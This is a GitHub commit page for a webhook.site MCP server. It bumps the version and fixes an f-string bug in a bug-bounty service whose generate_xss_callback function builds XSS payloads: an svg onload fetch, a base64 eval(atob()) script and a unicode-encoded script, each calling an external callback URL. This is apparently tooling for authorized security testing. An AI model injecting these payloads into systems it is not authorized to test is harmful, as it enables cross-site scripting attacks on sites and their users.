Skip to content

Commit e9d6b77

Browse files
committed
Fix: Resolve nested f-string syntax error in bugbounty_service.py (v2.0.4)
1 parent a5a6253 commit e9d6b77

File tree

2 files changed

+3
-2
lines changed

2 files changed

+3
-2
lines changed

pyproject.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[project]
22
name = "webhook-mcp-server"
3-
version = "2.0.3"
3+
version = "2.0.4"
44
description = "MCP Server for webhook.site API integration with layered architecture"
55
requires-python = ">=3.10"
66
dependencies = [

services/bugbounty_service.py

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -216,7 +216,8 @@ def generate_xss_callback(
216216
payloads["svg"] = f'<svg onload="fetch(\'{callback_url}?xss=svg{id_part}\')">'
217217

218218
# Encoded variants
219-
payloads["base64"] = f'<script>eval(atob("{self._base64_encode(f"fetch('{callback_url}?xss=b64{id_part}')")}")</script>'
219+
encoded_fetch = f"fetch('{callback_url}?xss=b64{id_part}')"
220+
payloads["base64"] = f'<script>eval(atob("{self._base64_encode(encoded_fetch)}"))</script>'
220221
payloads["unicode"] = self._unicode_encode(f'<script>fetch("{callback_url}?xss=uni{id_part}")</script>')
221222

222223
return ToolResult(

0 commit comments

Comments
 (0)